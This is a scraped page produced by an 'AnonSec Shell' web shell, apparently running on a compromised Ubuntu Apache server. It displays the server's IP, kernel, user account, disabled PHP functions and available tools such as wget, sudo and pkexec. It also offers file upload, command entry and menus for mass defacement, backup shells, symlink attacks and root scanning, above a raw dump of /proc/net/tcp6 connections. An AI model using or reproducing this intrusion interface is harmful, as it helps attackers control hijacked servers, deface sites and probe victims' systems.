. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 157.245.120.232  /  Your IP : 216.73.216.245   [ Reverse IP ]
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux lamp-kamal-greenstackcapital-2019-11 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : www-data ( 33)
PHP Version : 7.3.12-1+ubuntu16.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 2 Domains
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/633/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/633/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0015 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 14686 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 16318 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:0019 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 17428 1 0000000000000000 100 0 0 10 0
   3: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 16734 1 0000000000000000 100 0 0 10 0
   4: 00000000000000000000000000000000:0CEA 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   112        0 22018492 1 0000000000000000 100 0 0 10 0
   5: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 16730 1 0000000000000000 100 0 0 10 0
   6: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:5F17 06 00000000:00000000 03:0000122A 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:BAC6 06 00000000:00000000 03:0000129C 00000000     0        0 0 3 0000000000000000
   8: 0000000000000000FFFF0000E878F59D:0050 0000000000000000FFFF0000B7E744AC:374C 06 00000000:00000000 03:000013C2 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000FF2074A:9B12 01 00000000:00000000 02:000B04C6 00000000    33        0 60542535 2 0000000000000000 22 4 32 19 19
  10: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000B42F942:AEC9 06 00000000:00000000 03:000016CC 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:2453 06 00000000:00000000 03:00001232 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000FF2074A:A218 06 00000000:00000000 03:00001534 00000000     0        0 0 3 0000000000000000
  13: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:82D0 06 00000000:00000000 03:000000E6 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:3008 01 00000000:00000000 02:000AF7F9 00000000    33        0 60542117 3 0000000000000000 22 4 32 30 31
  15: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000056D949D8:3F7D 06 00000000:00000000 03:00000EEE 00000000     0        0 0 3 0000000000000000
  16: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:DBFE 06 00000000:00000000 03:00000CCC 00000000     0        0 0 3 0000000000000000
  17: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:3FCB 06 00000000:00000000 03:000011D4 00000000     0        0 0 3 0000000000000000
  18: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF0000F5D849D8:32D8 06 00000000:00000000 03:00000494 00000000     0        0 0 3 0000000000000000
  19: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000B42F942:ED15 06 00000000:00000000 03:00000C24 00000000     0        0 0 3 0000000000000000
  20: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF0000F5D849D8:1D2B 01 00000000:00000000 02:000B04C6 00000000    33        0 60542577 3 0000000000000000 22 4 35 10 -1
  21: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000FF2074A:C198 06 00000000:00000000 03:00000078 00000000     0        0 0 3 0000000000000000
  22: 0000000000000000FFFF0000E878F59D:0050 0000000000000000FFFF0000B7E744AC:2E02 06 00000000:00000000 03:000001D1 00000000     0        0 0 3 0000000000000000
  23: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000036F1074A:D260 01 00000000:00000000 02:000AF7F9 00000000    33        0 60541579 2 0000000000000000 22 4 31 10 -1
  24: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000B42F942:8FE2 01 00000000:00000000 02:000B04C6 00000000    33        0 60542629 2 0000000000000000 22 4 21 10 -1
  25: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:1ED2 06 00000000:00000000 03:00000853 00000000     0        0 0 3 0000000000000000
  26: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:3E3F 06 00000000:00000000 03:0000123B 00000000     0        0 0 3 0000000000000000
  27: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000B42F942:8D27 06 00000000:00000000 03:00000DED 00000000     0        0 0 3 0000000000000000
  28: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00004A42F942:C3F6 06 00000000:00000000 03:0000133E 00000000     0        0 0 3 0000000000000000
  29: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000B42F942:DCB2 06 00000000:00000000 03:00000EAF 00000000     0        0 0 3 0000000000000000
  30: 0000000000000000FFFF0000E878F59D:0050 0000000000000000FFFF0000B6E744AC:335C 06 00000000:00000000 03:0000169D 00000000     0        0 0 3 0000000000000000
  31: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:5376 06 00000000:00000000 03:000003AF 00000000     0        0 0 3 0000000000000000
  32: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF0000F5D849D8:896E 06 00000000:00000000 03:000015AF 00000000     0        0 0 3 0000000000000000
  33: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000036F1074A:9816 06 00000000:00000000 03:0000092E 00000000     0        0 0 3 0000000000000000
  34: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:6F90 01 00000000:00000000 02:000AF7F9 00000000    33        0 60542124 2 0000000000000000 22 4 0 22 31
  35: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000056D949D8:761A 01 00000000:00000000 02:000AF7F9 00000000    33        0 60542021 2 0000000000000000 22 4 1 28 28
  36: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00004A42F942:9F70 06 00000000:00000000 03:00000624 00000000     0        0 0 3 0000000000000000
  37: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00002442F942:A809 06 00000000:00000000 03:0000033F 00000000     0        0 0 3 0000000000000000
  38: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:7F03 06 00000000:00000000 03:0000053E 00000000     0        0 0 3 0000000000000000
  39: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF0000F5D849D8:AC63 06 00000000:00000000 03:000009D6 00000000     0        0 0 3 0000000000000000
  40: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000C42F942:A794 06 00000000:00000000 03:00000402 00000000     0        0 0 3 0000000000000000
  41: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:4A8D 06 00000000:00000000 03:00000C9E 00000000     0        0 0 3 0000000000000000
  42: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:73B9 01 0000660C:00000000 01:00000002 00000000    33        0 60542388 3 0000000000000000 22 4 4 14 31
  43: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:C45B 01 00000000:00000000 02:000B04C6 00000000    33        0 60542623 2 0000000000000000 22 4 32 30 31
  44: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:BEE0 01 00000000:00000000 02:000AF7F8 00000000    33        0 60542128 2 0000000000000000 22 4 0 29 31
  45: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:0DCE 06 00000000:00000000 03:0000121F 00000000     0        0 0 3 0000000000000000
  46: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:42E8 01 00000000:00000000 02:000AF7F8 00000000    33        0 60542133 3 0000000000000000 22 4 32 31 31
  47: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:981B 01 00000000:00000000 02:000B04C5 00000000    33        0 60542611 2 0000000000000000 22 4 0 29 31

Anon7 - 2022
AnonSec Team